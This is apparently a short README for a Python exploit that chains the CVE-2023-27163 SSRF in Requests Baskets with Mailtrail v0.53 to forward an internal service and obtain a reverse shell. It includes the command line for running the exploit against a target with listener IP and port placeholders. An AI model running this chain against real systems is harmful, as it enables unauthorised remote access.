hhesenjan/cve-2023-27163-and-mailtrail-v0.53Python exploit chaining CVE-2023-27163 SSRF in Requests Baskets with Mailtrail v0.53 to forward internal services and execute a reverse shell.
The following exploit abuses Requests Baskets v1.2.1 SSRF vulnerability to forward the internal application running at 127.0.0.1:80 to the external application at /pwned. Once the Mailtrail v0.53 application has been forwarded it will execute a reverse shell command against it and within a few seconds the user should obtain a reverse shell onto the machine.
python3 ./exploit http://10.10.10.10:55555 LISTENER-IP LISTENER-PORT